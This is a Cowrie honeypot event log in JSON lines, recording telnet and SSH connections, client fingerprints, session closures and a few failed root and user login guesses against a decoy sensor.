{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58448,"dst_ip":"159.203.135.109","dst_port":23,"session":"34fe822760b9","protocol":"telnet","message":"New connection: 135.148.14.151:58448 (159.203.135.109:23) [session: 34fe822760b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:32.450624Z"}
{"eventid":"cowrie.session.closed","duration":35.39753007888794,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:34.054553Z","src_ip":"135.148.14.151","session":"c188b76c8a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59322,"dst_ip":"159.203.135.109","dst_port":23,"session":"d16595adf54c","protocol":"telnet","message":"New connection: 135.148.14.151:59322 (159.203.135.109:23) [session: d16595adf54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:36.252037Z"}
{"eventid":"cowrie.session.closed","duration":37.95287203788757,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:46.967077Z","src_ip":"135.148.14.151","session":"459c6d0b7c37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40326,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7af4d75406","protocol":"telnet","message":"New connection: 135.148.14.151:40326 (159.203.135.109:23) [session: 1f7af4d75406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:52.114374Z"}
{"eventid":"cowrie.session.closed","duration":120.00241875648499,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:53.859501Z","src_ip":"105.209.159.189","session":"dee85d03ec36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00179982185364,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:53.889823Z","src_ip":"105.209.159.189","session":"748dc139d4a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00317764282227,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:55.320496Z","src_ip":"105.209.159.189","session":"c072ec315f75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.49392127990723,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:54:55.925176Z","src_ip":"135.148.14.151","session":"690c9bbb0082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.829638719558716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:08.081374Z","src_ip":"135.148.14.151","session":"d16595adf54c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.9768385887146,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:09.427338Z","src_ip":"135.148.14.151","session":"34fe822760b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46332,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fd6e508fb4a","protocol":"telnet","message":"New connection: 135.148.14.151:46332 (159.203.135.109:23) [session: 2fd6e508fb4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:12.226932Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":39198,"dst_ip":"10.17.0.5","dst_port":22,"session":"06969ee4382a","protocol":"ssh","message":"New connection: 147.45.211.215:39198 (10.17.0.5:22) [session: 06969ee4382a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:12.757523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:12.763149Z","src_ip":"147.45.211.215","session":"06969ee4382a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:12.937876Z","src_ip":"147.45.211.215","session":"06969ee4382a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktyecz","message":"login attempt [root/ktyecz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:13.464807Z","src_ip":"147.45.211.215","session":"06969ee4382a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:14.646081Z","src_ip":"147.45.211.215","session":"06969ee4382a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":49120,"dst_ip":"10.17.0.5","dst_port":23,"session":"52d2cda697e1","protocol":"telnet","message":"New connection: 105.209.159.189:49120 (10.17.0.5:23) [session: 52d2cda697e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:17.396512Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":49216,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c103f4b8c5f","protocol":"telnet","message":"New connection: 105.209.159.189:49216 (10.17.0.5:23) [session: 7c103f4b8c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:17.656573Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":49142,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cc5e588e806","protocol":"telnet","message":"New connection: 105.209.159.189:49142 (10.17.0.5:23) [session: 8cc5e588e806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:17.662151Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00ae3d6025d","protocol":"telnet","message":"New connection: 105.209.159.189:49548 (10.17.0.5:23) [session: c00ae3d6025d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:21.653091Z"}
{"eventid":"cowrie.session.closed","duration":36.843687534332275,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:28.957956Z","src_ip":"135.148.14.151","session":"1f7af4d75406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58090,"dst_ip":"159.203.135.109","dst_port":23,"session":"75ae32fb9535","protocol":"telnet","message":"New connection: 135.148.14.151:58090 (159.203.135.109:23) [session: 75ae32fb9535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:34.540573Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60610,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9ac2f4ce48d","protocol":"telnet","message":"New connection: 135.148.14.151:60610 (159.203.135.109:23) [session: c9ac2f4ce48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:37.496257Z"}
{"eventid":"cowrie.session.closed","duration":32.114522218704224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:44.341342Z","src_ip":"135.148.14.151","session":"2fd6e508fb4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":55972,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7958dc62db9","protocol":"ssh","message":"New connection: 185.236.22.41:55972 (10.17.0.5:22) [session: e7958dc62db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:59.820312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:59.825534Z","src_ip":"185.236.22.41","session":"e7958dc62db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:55:59.945230Z","src_ip":"185.236.22.41","session":"e7958dc62db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kovaleva","message":"login attempt [root/kovaleva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:00.315846Z","src_ip":"185.236.22.41","session":"e7958dc62db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:01.436742Z","src_ip":"185.236.22.41","session":"e7958dc62db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.683674573898315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:09.224142Z","src_ip":"135.148.14.151","session":"75ae32fb9535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.51229786872864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:12.008382Z","src_ip":"135.148.14.151","session":"c9ac2f4ce48d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52816,"dst_ip":"159.203.135.109","dst_port":23,"session":"456609f21972","protocol":"telnet","message":"New connection: 135.148.14.151:52816 (159.203.135.109:23) [session: 456609f21972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:23.498295Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54238,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3d6ecc5b96","protocol":"telnet","message":"New connection: 135.148.14.151:54238 (159.203.135.109:23) [session: 5f3d6ecc5b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:25.539825Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54828,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5566e80fd8","protocol":"telnet","message":"New connection: 135.148.14.151:54828 (159.203.135.109:23) [session: fc5566e80fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:26.688293Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52978,"dst_ip":"159.203.135.109","dst_port":23,"session":"32c0bb13079c","protocol":"telnet","message":"New connection: 135.148.14.151:52978 (159.203.135.109:23) [session: 32c0bb13079c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:28.826592Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58924,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b490efdaeca","protocol":"telnet","message":"New connection: 135.148.14.151:58924 (159.203.135.109:23) [session: 5b490efdaeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:33.492778Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58410,"dst_ip":"159.203.135.109","dst_port":23,"session":"d175ef9482c9","protocol":"telnet","message":"New connection: 135.148.14.151:58410 (159.203.135.109:23) [session: d175ef9482c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:35.469418Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60940,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1261e1dcce","protocol":"telnet","message":"New connection: 135.148.14.151:60940 (159.203.135.109:23) [session: 2a1261e1dcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:40.492776Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38862,"dst_ip":"159.203.135.109","dst_port":23,"session":"e649389a8fb2","protocol":"telnet","message":"New connection: 135.148.14.151:38862 (159.203.135.109:23) [session: e649389a8fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:50.909165Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":52052,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be4d7dea393","protocol":"ssh","message":"New connection: 80.94.92.171:52052 (159.203.135.109:22) [session: 1be4d7dea393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:55.193212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:55.366302Z","src_ip":"80.94.92.171","session":"1be4d7dea393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:56.075445Z","src_ip":"80.94.92.171","session":"1be4d7dea393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:58.098743Z","src_ip":"80.94.92.171","session":"1be4d7dea393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:59.381211Z","src_ip":"80.94.92.171","session":"1be4d7dea393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.03005886077881,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:56:59.569773Z","src_ip":"135.148.14.151","session":"5f3d6ecc5b96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.722453117370605,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:02.410590Z","src_ip":"135.148.14.151","session":"fc5566e80fd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.33221745491028,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:02.830368Z","src_ip":"135.148.14.151","session":"456609f21972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53967213630676,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:04.366100Z","src_ip":"135.148.14.151","session":"32c0bb13079c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45250,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f1459bc5619","protocol":"telnet","message":"New connection: 135.148.14.151:45250 (159.203.135.109:23) [session: 6f1459bc5619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:04.446141Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46664,"dst_ip":"159.203.135.109","dst_port":23,"session":"86b2a76d126e","protocol":"telnet","message":"New connection: 135.148.14.151:46664 (159.203.135.109:23) [session: 86b2a76d126e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:06.581788Z"}
{"eventid":"cowrie.session.closed","duration":32.93146324157715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:08.400787Z","src_ip":"135.148.14.151","session":"d175ef9482c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.23200607299805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:09.724639Z","src_ip":"135.148.14.151","session":"5b490efdaeca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.809258699417114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:15.301933Z","src_ip":"135.148.14.151","session":"2a1261e1dcce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00348019599915,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:17.399840Z","src_ip":"105.209.159.189","session":"52d2cda697e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015172958374,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:17.657937Z","src_ip":"105.209.159.189","session":"7c103f4b8c5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00101685523987,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:17.663063Z","src_ip":"105.209.159.189","session":"8cc5e588e806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00515556335449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:21.658087Z","src_ip":"105.209.159.189","session":"c00ae3d6025d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.39578580856323,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:26.304782Z","src_ip":"135.148.14.151","session":"e649389a8fb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53278,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa17164e4a27","protocol":"telnet","message":"New connection: 135.148.14.151:53278 (159.203.135.109:23) [session: aa17164e4a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:27.466469Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57574,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb3578a0544d","protocol":"telnet","message":"New connection: 135.148.14.151:57574 (159.203.135.109:23) [session: cb3578a0544d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:32.662097Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59050,"dst_ip":"159.203.135.109","dst_port":23,"session":"e09aab966eee","protocol":"telnet","message":"New connection: 135.148.14.151:59050 (159.203.135.109:23) [session: e09aab966eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:32.833416Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":50222,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0097a6b4c23","protocol":"telnet","message":"New connection: 105.209.159.189:50222 (10.17.0.5:23) [session: c0097a6b4c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:36.745589Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":50276,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdddddc39ee7","protocol":"telnet","message":"New connection: 105.209.159.189:50276 (10.17.0.5:23) [session: fdddddc39ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:36.758447Z"}
{"eventid":"cowrie.session.closed","duration":33.62304425239563,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:38.069024Z","src_ip":"135.148.14.151","session":"6f1459bc5619","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.54485583305359,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:57:44.126543Z","src_ip":"135.148.14.151","session":"86b2a76d126e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90857720375061,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:00.374955Z","src_ip":"135.148.14.151","session":"aa17164e4a27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.172300815582275,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:58:04.834245Z","src_ip":"135.148.14.151","session":"cb3578a0544d","protocol":"telnet"}
